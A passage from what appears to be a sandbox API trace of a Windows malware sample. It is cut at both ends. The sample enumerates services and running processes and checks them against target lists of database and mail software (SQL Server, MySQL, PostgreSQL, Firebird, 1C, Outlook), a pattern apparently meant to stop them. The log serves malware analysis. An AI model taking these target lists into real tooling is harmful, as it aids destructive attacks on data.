lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.651] lstrlenW (lpString="swprv") returned 5 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.651] lstrlenW (lpString="SysMain") returned 7 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.651] lstrlenW (lpString="Themes") returned 6 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.652] lstrlenW (lpString="TrkWks") returned 6 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.652] lstrlenW (lpString="UxSms") returned 5 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.652] lstrlenW (lpString="VSS") returned 3 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.652] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.652] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.652] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.652] lstrlenW (lpString="Winmgmt") returned 7 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.652] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.652] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.652] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.652] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0050.652] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0050.655] Process32FirstW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.657] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.658] lstrlenW (lpString="System") returned 6 [0050.658] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.658] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.658] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.658] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.658] lstrlenW (lpString="smss.exe") returned 8 [0050.658] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.658] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.658] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.658] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.659] lstrlenW (lpString="csrss.exe") returned 9 [0050.659] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.659] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.659] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.659] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.659] lstrlenW (lpString="wininit.exe") returned 11 [0050.659] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.659] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.659] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.659] lstrlenW (lpString="csrss.exe") returned 9 [0050.660] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.660] lstrlenW (lpString="winlogon.exe") returned 12 [0050.660] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.660] lstrlenW (lpString="services.exe") returned 12 [0050.660] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.661] lstrlenW (lpString="lsass.exe") returned 9 [0050.661] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.661] lstrlenW (lpString="lsm.exe") returned 7 [0050.661] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.662] lstrlenW (lpString="svchost.exe") returned 11 [0050.662] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.662] lstrlenW (lpString="svchost.exe") returned 11 [0050.662] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.662] lstrlenW (lpString="svchost.exe") returned 11 [0050.662] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.663] lstrlenW (lpString="svchost.exe") returned 11 [0050.663] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.663] lstrlenW (lpString="svchost.exe") returned 11 [0050.663] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.663] lstrlenW (lpString="audiodg.exe") returned 11 [0050.663] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.664] lstrlenW (lpString="svchost.exe") returned 11 [0050.664] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.664] lstrlenW (lpString="svchost.exe") returned 11 [0050.664] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.665] lstrlenW (lpString="dwm.exe") returned 7 [0050.665] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.665] lstrlenW (lpString="explorer.exe") returned 12 [0050.665] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.665] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.665] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.666] lstrlenW (lpString="taskhost.exe") returned 12 [0050.666] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.666] lstrlenW (lpString="svchost.exe") returned 11 [0050.666] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.666] lstrlenW (lpString="taskeng.exe") returned 11 [0050.667] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0050.667] lstrlenW (lpString="judges-present.exe") returned 18 [0050.667] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0050.667] lstrlenW (lpString="physics.exe") returned 11 [0050.667] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0050.668] lstrlenW (lpString="belongs.exe") returned 11 [0050.668] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0050.668] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0050.668] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0050.668] lstrlenW (lpString="gadgets.exe") returned 11 [0050.668] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0050.669] lstrlenW (lpString="geneva.exe") returned 10 [0050.669] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0050.669] lstrlenW (lpString="elephant.exe") returned 12 [0050.669] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0050.669] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0050.670] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0050.670] lstrlenW (lpString="roger-venice.exe") returned 16 [0050.670] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0050.670] lstrlenW (lpString="cite.exe") returned 8 [0050.670] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0050.671] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0050.671] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0050.671] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0050.671] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0050.671] lstrlenW (lpString="artist_selecting.exe") returned 20 [0050.671] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0050.672] lstrlenW (lpString="poems.exe") returned 9 [0050.672] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0050.672] lstrlenW (lpString="bow.exe") returned 7 [0050.672] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0050.672] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0050.673] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0050.673] lstrlenW (lpString="businesses.exe") returned 14 [0050.673] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0050.673] lstrlenW (lpString="lucky.exe") returned 9 [0050.673] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0050.674] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0050.674] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0050.674] lstrlenW (lpString="healthmanner.exe") returned 16 [0050.674] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0050.674] lstrlenW (lpString="3dftp.exe") returned 9 [0050.674] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0050.675] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0050.675] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0050.675] lstrlenW (lpString="alftp.exe") returned 9 [0050.675] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0050.676] lstrlenW (lpString="barca.exe") returned 9 [0050.676] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0050.676] lstrlenW (lpString="bitkinex.exe") returned 12 [0050.676] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0050.676] lstrlenW (lpString="coreftp.exe") returned 11 [0050.676] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0050.677] lstrlenW (lpString="far.exe") returned 7 [0050.677] Process32NextW (in: hSnapshot=0x208, 